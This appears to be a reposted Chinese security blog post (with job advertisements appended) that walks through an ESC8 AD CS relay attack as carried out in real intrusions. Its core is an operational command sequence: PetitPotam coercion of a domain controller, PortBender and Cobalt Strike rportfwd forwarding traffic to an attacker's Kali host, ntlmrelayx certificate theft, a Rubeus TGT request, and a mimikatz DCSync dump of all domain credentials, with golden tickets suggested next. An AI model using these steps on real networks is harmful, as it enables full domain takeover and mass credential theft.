ESC8(ADCS Relay)
2023-4-1 00:1:58 Author: 白帽子(查看原文) 阅读量:88 收藏

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

前言

ADCS (Active Directory Certificate Services 活动目录证书服务)的HTTP证书接口(certsrv/certfnsh.asp)未启用NTLM中继保护,且在HTTP请求的时候Authorization HTTP头明确允许通过NTLM进行身份验证。

因此可配合 PetitPotam,强制域控机器用户(DC$)向该接口(certsrv/certfnsh.asp)发送 NTLM 身份认证,从而获取到一个为域控机器用户(DC$)生成的证书,使用 DC$ 的证书请求其 Kerberos TGT(AS_REQ),然后 DCSync。后续可考虑利用 krbtgt 帐户的哈希值创建金票等利用手法。
尽管 ADCS 并不是默认安装,但在大型企业域中通常被广泛部署。本文讲述在实战域环境中 ADCS 中继的打法。

大致思路

在 PrintNightmare 漏洞被爆出来之后,有一些企业内网会选择关闭Spooler服务,使得Printerbug失效。PetitPotam 可以指定域内的一台服务器对攻击者选择的目标进行身份验证。而且在低版本(2016以下)的情况下,可以匿名触发。(2016以上的域控需要指定域内的用户及密码触发)。

结合 PetitPotam 与 ESC8,获取为域控机器用户(DC$)生成的证书,使用 DC$ 的证书请求其 Kerberos TGT(AS_REQ),DCSync.

实战中的打法

实战中,中继攻击可能会存在几个问题,比如:
1.目标是 Windows,而在 Windows 上 445 端口是占用的,所以不能直接嗅探该端口传入的流量。
2.大部分情况下,目标 Windows 主机上都是没有一些语言环境的,Impacket工具包无法运行,现装环境的操作太麻烦、遇到的问题太多。
因此,在实战中,可以考虑:使用端口流量的重定向、端口转发、代理来实现攻击操作。

本次实验思路

本次实验使用PortBender工具进行端口流量的重定向。https://github.com/praetorian-inc/PortBender
1.使用 PortBender 将 Win2k8 上面的 445 端口流量重定向到 8445 端口。
2.开启端口转发,将 Win2k8 的 8445 端口流量全部转发到 kali(TeamServer)的 445 端口。
3.攻击者通过 socks5 代理利用 PetitPotam 强制域控向中继机发起机器用户(DC$) NTLM 身份认证。
4.域控发送 DC$ NTLM 身份认证 到中继机。
5.中继机器利用 DC$ NTLM 的身份认证 向 ADCS 申请为 DC$ 颁发证书。
6.ADCS 认证通过,为 DC$ 颁发证书。
7.使用 DC$ 的证书请求其 Kerberos TGT(AS_REQ)。
8.域控返回 TGT。
9.利用 DC$ 的 TGT 进行 DCSync。
10.利用 krbtgt NTLM hash 创建金票等。

具体利用

1. 上传WinDivert32.sys/WinDivert64.sys

拿到目标的 Beacon 后,根据目标版本上传 WinDivert32.sys 或 WinDivert64.sys。

2. 端口流量重定向
使用 PortBender 将 Win2k8 的 445 端口流量全部转发到 Win2k8 的 8445 端口。
注意:PortBender 执行需要管理权限,且需在 WinDivert64.sys 同一目录下执行

PortBender redirect 445 8445

3. 开启端口转发

利用 rportfwd 命令来将 Win2k8 的 8445 端口流量全部转发到 kali(TeamServer)的445端口。

rportfwd [绑定端口] [转发主机] [转发端口]
rportfwd 绑定目标主机上的指定端口(如:8445端口),当此端口(8445端口)有流量连接进来时,Cobalt Strike 将连接到转发的主机/端口(kali:445端口),并使用 Beacon 在两个连接之间中继流量。
此时 Win2k8 445 端口的流量通过重定向,发送给 Win2k8 的 8445 端口,由于端口转发,Win2k8 的 8445 端口流量全部转发到 kali 的 445 端口上。
注:转发到攻击者的 445 端口不能改变,只能为 445(因为 ntlmrelayx.py 监听 445 端口)

rportfwd 8445 192.168.124.3 445

4. 设置 NTLM 中继监听

使用 ntlmrelayx.py 在 kali 上开启 445 端口设置中继监听,以便后续将 DC$ 传来的身份认证(域控机器用户的身份认证)转发到 ADCS 上。或者更具体地说,转发到 ADCS 的 HTTP 接口 

http://192.168.1.6/certsrv/certfnsh.asp 以进行证书申请。(因为实战情况下,vps 不通 ADCS ,所以使用 proxychains4 代理来转发至 ADCS)。

proxychains4 ntlmrelayx.py -t http://192.168.1.6/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

-t 将凭据中继到的目标,可以是 IP、主机名或 URL

-smb2support 支持 SMB2
--adcs 启用 AD CS 中继攻击
--template TEMPLATE AD CS 模板。默认为机器或用户, 中继域控应该指定为 "DomainController"

5. 强制 DC$ 对 NTLM 中继机器进行身份验证

使用代理利用 PetitPotm 向域控发送流量,强制 DC (192.168.1.2) 向 Win2k8 (192.168.1.3) 的445端口发起身份认证,当 Win2k8 的 445 端口收到身份认证的流量之后,将会将流量全部重定向到 Win2k8 的 8445 端口,再通过之前开启的端口转发,最终将 Win2k8 的 8445 端口流量全部转发到开启中继监听的 kali (10.11.35.215) 的445端口。

proxychains4 python3 PetitPotam.py 192.168.1.3 192.168.1.2

6. 流量分析
6.1. 来看 Win2k8 的流量包:
强制 DC (192.168.1.2)向中继机器 Win2k8(192.168.1.3) 发起身份认证。

6.2. 先来看正常的 ntlm 认证数据包:
192.168.1.2:49342 ---> 192.168.1.6:445 发起认证

6.3. 再来看 kali 中继的认证数据包:
10.11.34.215:42398 ---> 10.11.35.215:445

能够发现 ip.src 和 ip.dst 都是 kali(TeamServer)10.11.35.215 的自身ip,这是因为 rportfwd 命令造成的。
当 Win2k8 的 8445 端口有流量连接进来时,Cobalt Strike 将连接到转发的 kali 的 445端口,通过 Beacon 在两个连接之间中继流量。

7. 成功获取到证书信息

来看一下攻击过程

1.kali 作为中继者,将 DC$ NTLM 凭据转发到 ADCS (http://192.168.1.6/certsrv/certfnsh.asp) 发起认证。
2.HTTP服务器返回200,视为成功登录。
3.使用DC$ NTLM身份认证验证 http://192.168.1.6 成功。
4.生成 CSR(Certificate Signing Request 证书签名请求)。
5.获取证书。
6.获得 DC$ (域控机器用户)的Base64证书(证书默认有效期为一年)。
如下为ADCS 为 DC机器用户 颁发的证书:

8. 请求 TGT

拿到域控机器用户(DC$) 的证书之后,我们现在可以使用 Rubeus 为 DC$ 机器用户请求 Kerberos TGT(AS_REQ)。
使用 runas /netonly /user:ligang cmd 来创建一个新的 cmd 登陆会话,向其中注入 DC$ TGT 以防止弄乱现有登录会话的 TGT。

Rubeus.exe asktgt /user:dc$ /certificate:"MIIRZQIBAzCCES8GCSqGSIb3He39M=" /ptt

这里的 user 为域控机器用户(DC的机器名$)。

9. 执行 DCSync

mimikatz.exe "lsadump::dcsync /domain:missyou.com /all /csv" exit

10. 结束流量重定向与端口转发

要停止 PortBender,使用 jobs 命令列出正在运行的作业,这将列出作业 ID (JID) 和关联的 PID。
使用 jobkill停止作业,然后再使用 kill关闭生成的进程。
使用 rportfwd stop 8445 关闭端口转发。

RECRUITMENT

招聘启事

安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。

简历投递至 

[email protected]

设计师(实习生)

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;

3、精通photoshop/illustrator/coreldrew/等设计制作软件;
4、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽

简历投递至 

[email protected]

安全招聘

————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;

岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

岗位:红队武器化Golang开发工程师

薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

岗位:红队武器化Golang开发工程师

薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

END

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246611&idx=1&sn=6ba2817fc8d1fc93a2850f097fad1284&chksm=82ea567ab59ddf6c0fdc08e82f0827a175e248d1ba6e1f7ebb3231dba3e329f34d646f2a023e#rd
如有侵权请联系:admin#unsafe.sh